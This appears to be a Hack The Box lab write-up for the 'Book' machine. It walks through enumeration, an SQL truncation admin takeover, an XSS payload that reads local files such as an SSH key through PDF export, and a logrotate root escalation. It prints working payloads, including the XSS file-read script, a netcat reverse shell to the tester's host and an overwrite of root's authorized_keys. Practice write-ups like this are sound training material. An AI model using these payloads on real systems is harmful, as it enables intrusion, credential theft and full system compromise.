Enumeration

From the SSH version (OpenSSH 7.6p1) that nmap showed us we can say that the victim machine is running Ubuntu bionic (https://launchpad.net/ubuntu/+source/openssh/+changelog)

nmap

```
# Nmap 7.80 scan initiated Mon Mar 30 12:32:21 2020 as: nmap -sC -sV -oA nmap/book 10.10.10.176
Nmap scan report for 10.10.10.176
Host is up (0.060s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 f7:fc:57:99:f6:82:e0:03:d6:03:bc:09:43:01:55:b7 (RSA)
|   256 a3:e5:d1:74:c4:8a:e8:c8:52:c7:17:83:4a:54:31:bd (ECDSA)
|_  256 e3:62:68:72:e2:c0:ae:46:67:3d:cb:46:bf:69:b9:6a (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: LIBRARY - Read | Learn | Have Fun
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Mar 30 12:32:36 2020 -- 1 IP address (1 host up) scanned in 14.97 seconds
```

interesting

http://10.10.10.176/contact.php -> admin email -> admin@book.htb
http://10.10.10.176collections.php -> an user can submit a new book (uploads are always interesting)
http://10.10.10.176/admin -> admin panel (probably we'll need to get admin access to the platform, we already have the possible email)
http://10.10.10.176/profile.php -> tried to play with the name of login, if we insert a long name such as testtesttesttesttesttesttesttest it is trimmed to testtestte, so maybe there is some sort of limitation that could be implemented also for the email field when we register to the platform

directoy bruteforcing

ffuf -u http://10.10.10.176/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o /home/lu191/Writeups/Hackthebox/machines/Book/brute

```
      v1.1.0-git
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.10.176/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
```

```
 :: Output file      : /home/lu191/Writeups/Hackthebox/machines/Book/brute
 :: File format      : json
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
________________________________________________

# directory-list-2.3-medium.txt [Status: 200, Size: 6800, Words: 461, Lines: 322]
#                  [Status: 200, Size: 6800, Words: 461, Lines: 322]
#                  [Status: 200, Size: 6800, Words: 461, Lines: 322]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/  [Status: 200, Size: 6800, Words: 461,
Lines: 322]
#                  [Status: 200, Size: 6800, Words: 461, Lines: 322]
# Attribution-Share Alike 3.0 License. To view a copy of this  [Status: 200, Size: 6800, Words: 461,
Lines: 322]
#                  [Status: 200, Size: 6800, Words: 461, Lines: 322]
# on atleast 2 different hosts [Status: 200, Size: 6800, Words: 461, Lines: 322]
# This work is licensed under the Creative Commons  [Status: 200, Size: 6800, Words: 461, Lines:
322]
                 [Status: 200, Size: 6800, Words: 461, Lines: 322]
# Priority ordered case sensative list, where entries were found  [Status: 200, Size: 6800, Words:
461, Lines: 322]
# Copyright 2007 James Fisher [Status: 200, Size: 6800, Words: 461, Lines: 322]
# or send a letter to Creative Commons, 171 Second Street,  [Status: 200, Size: 6800, Words: 461,
Lines: 322]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 6800, Words: 461, Lines:
322]
docs               [Status: 301, Size: 311, Words: 20, Lines: 10]
admin              [Status: 301, Size: 312, Words: 20, Lines: 10]
images             [Status: 301, Size: 313, Words: 20, Lines: 10]
```

SSH Access

SQL Truncation attack

After trying to guess the admin password with no success it's time to look deeper at the login and signup form.
In the page we see a JS function that checks the name and email length

```
function validateForm() {
  var x = document.forms["myForm"]["name"].value;
  var y = document.forms["myForm"]["email"].value;
  if (x == "") {
    alert("Please fill name field. Should not be more than 10 characters");
    return false;
  }
  if (y == "") {
    alert("Please fill email field. Should not be more than 20 characters");
    return false;
  }
}
```

These checks are not really well implemented, there is no check on the length.
So I tried to look for vulns related to the length of the input and I found an attack called SQL

truncation (https://resources.infosecinstitute.com/sql-truncation-attack).
I tried it and it indeed worked, now we have access to the admin portal.
I started to script it with python in case the machine gets resetted.
Functions of exploit.py in the scripts directory:
grabSessionCookie() -> generic function to get the session cookie (PHPSESSID) that is needed for all the requests
overwriteAdminCreds() -> it implements the SQL Truncation attack
signupUser() -> register a new user (it's called by overwriteAdminCreds to overwrite admin password)
loginAdmin() -> login as admin, so it also tests if the attack succeded or not

XSS LocalFileRead

Now as admin I have access to new pages of the platform
http://10.10.10.176/admin/users.php
http://10.10.10.176/admin/messages.php
http://10.10.10.176/admin/feedback.php
These three pages don't seem to useful because we have only a delete button and they don't seem vulnerable to XSS or SSRF or other vulnerabilities.
The page that looks interesting is http://10.10.10.176/admin/collections.php where we have an export button (one for the users and one for the book collections), this button export a list in a pdf format.
We have the possibility to upload a collection, and then we can export the collections; so probably there's a way to have a way to read local file from the server (maybe through a SSRF with the file:/// protocol), so looking online for vulns like this we found a blog post https://www.noob.ninja/2017/11/-local-file-read-via-xss-in-dynamically.html that show how to perform an SSRF with a XSS payload to read a local file, let's try out.

I scripted it to have a better control of the whole situation:
loginUser() -> used to login as user and upload a crafted collection
uploadCollection() -> used to upload the crafted collection
exportCollectionsPdf() -> used to write the exported PDF to a file on our system
readPdf() -> used to read the PDF (it decode the text to base64 because the XSS payload encode the local file in base64 to avoid encoding issues)

XSS payload used:
```
<script>
   x = new XMLHttpRequest;
   x.onload = function() {
      body = btoa(this.response);
      document.write(body);
   };
   x.open("GET", "file:///etc/passwd");
   x.send();
</script>
```

SSH private key

Reading the /etc/passwd we discovered that the box has a user called reader.
Let's check if this user has an ssh private key (SSH port is opened) and if we have the possibility lo read it via the XSS payload
We indeed can read it and after copying it to a file we can ssh into the box as reader user.
This process can be done also with the exploit I made just reading /home/reader/.ssh/id_rsa file instead of /etc/passwd

Root

enumeration

After logging in as reader user we see an interesting directory called backups that has into it two files called access.log and access.log.1
We copied our useful enumeration tools into the box and started automatic enumeration with LinPEAS.

Our side:
python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.176 - - [12/Jul/2020 16:04:52] "GET /linpeas.sh HTTP/1.1" 200 -

SSH prompt:
reader@book:~$ wget http://10.10.14.236:8000/linpeas.sh
--2020-07-12 14:09:51-- http://10.10.14.236:8000/linpeas.sh
Connecting to 10.10.14.236:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 226759 (221K) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh   100%-
[===
221.44K   505KB/s   in 0.4s

2020-07-12 14:09:52 (505 KB/s) - ‘linpeas.sh’ saved [226759/226759]

We have correctly guessed the version of the operating system (Bionic)
Linux version 5.4.1-050401-generic (kernel@tangerine) (gcc version 9.2.1 20191109 (Ubuntu 9.2.1-19ubuntu1)) #201911290555 SMP Fri Nov 29 11:03:47 UTC 2019
Distributor ID: Ubuntu
Description: Ubuntu 18.04.2 LTS
Release: 18.04
Codename: bionic

But we didn't find anything else useful. Let's try pspy to snoop on processes

Our side:
python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.176 - - [12/Jul/2020 16:08:03] "GET /pspy64 HTTP/1.1" 200 -

SSH prompt:
reader@book:~$ wget http://10.10.14.236:8000/pspy64
--2020-07-12 14:13:02-- http://10.10.14.236:8000/pspy64
Connecting to 10.10.14.236:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3078592 (2.9M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64   100%-
[===
2.94M   504KB/s   in 6.1s

2020-07-12 14:13:08 (490 KB/s) - ‘pspy64’ saved [3078592/3078592]

We started pspy:
2020/07/12 14:20:38 CMD: UID=0 PID=5479 | /usr/sbin/logrotate -f /root/log.cfg
2020/07/12 14:20:38 CMD: UID=0 PID=5478 | /bin/sh /root/log.sh
2020/07/12 14:20:38 CMD: UID=0 PID=5480 | sleep 5
2020/07/12 14:20:43 CMD: UID=0 PID=5482 | /usr/sbin/logrotate -f /root/log.cfg
2020/07/12 14:20:43 CMD: UID=0 PID=5481 | /bin/sh /root/log.sh
2020/07/12 14:20:43 CMD: UID=0 PID=5483 | sleep 5

Root seems to run logrotate every 5 seconds, we found a possibile scenario of privesc to root abusing logrotate

https://packetstormsecurity.com/files/154743/Logrotate-3.15.1-Privilege-Escalation.html

Logrotate Privesc

We first need to compile logrotten exploit downloaded from https://github.com/whotwagner/-logrotten:
gcc logrotten.c -o logrotten

My side:
python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.176 - - [12/Jul/2020 16:32:41] "GET /logrotten HTTP/1.1" 200 -

SSH shell:
reader@book:~$ wget http://10.10.14.236:8000/logrotten
--2020-07-12 14:37:40-- http://10.10.14.236:8000/logrotten
Connecting to 10.10.14.236:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18288 (18K) [application/octet-stream]
Saving to: ‘logrotten’

ython3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.176 - - [12/Jul/2020 16:36:12] "GET /nc HTTP/1.1" 200 -

logrotten 100%-
[==========
17.86K --.-KB/s in 0.07s

2020-07-12 14:37:40 (265 KB/s) - ‘logrotten’ saved [18288/18288]

We need also netcat to then call a reverse shell.
SSH shell:
reader@book:/tmp$ wget http://10.10.14.236:8000/nc
--2020-07-12 14:41:12-- http://10.10.14.236:8000/nc
Connecting to 10.10.14.236:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 35520 (35K) [application/octet-stream]
Saving to: ‘nc’

nc 100%-
[==========
34.69K --.-KB/s in 0.09s

2020-07-12 14:41:12 (368 KB/s) - ‘nc’ saved [35520/35520]

We started to perform the actions needed to exploit the vulnerability:
We first wrote the payload file with the command we want to execute as root (we call the reverse shell using nc):
reader@book:~$ echo 'rm /tmp/fi;mkfifo /tmp/fi;cat /tmp/fi|/bin/sh -i 2>&1 | /tmp/nc 10.10.14.236 9001 -e /bin/bash' > payloadfile
reader@book:~$ cat payloadfile
rm /tmp/fi;mkfifo /tmp/fi;cat /tmp/fi|/bin/sh -i 2>&1 | /tmp/nc 10.10.14.236 9001 -e /bin/bash

We execute the exploit with the payloadfile:
reader@book:~$ ./logrotten -p payloadfile /home/reader/backups/access.log
Inotify watch return: 1
Waiting for rotating /home/reader/backups/access.log...

Then in another SSH shell we overwrote the content of access.log to trigger the rotation:
reader@book:~$ echo "hi" > backups/access.log

The rotation started and we see the results on the other shell:
Length read: 32
Buffer read:
Length read: 32
Buffer read:
Renamed /home/reader/backups with /home/reader/backups2 and created symlink to /etc/-bash_completion.d
Waiting 1 seconds before writing payload...
Done!

We got the reverse shell with netcat listening on another tmux pane:
nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.14.236] from (UNKNOWN) [10.10.10.176] 55130
ls

The shell dies quickly, but we can overwrite the autorized_keys of root inserting a public_key of an ssh key created and owned by us:
wget http://10.10.14.236:8000/root_id_rsa -O /root/.ssh/authorized_keys

Finally we can login as root with SSH.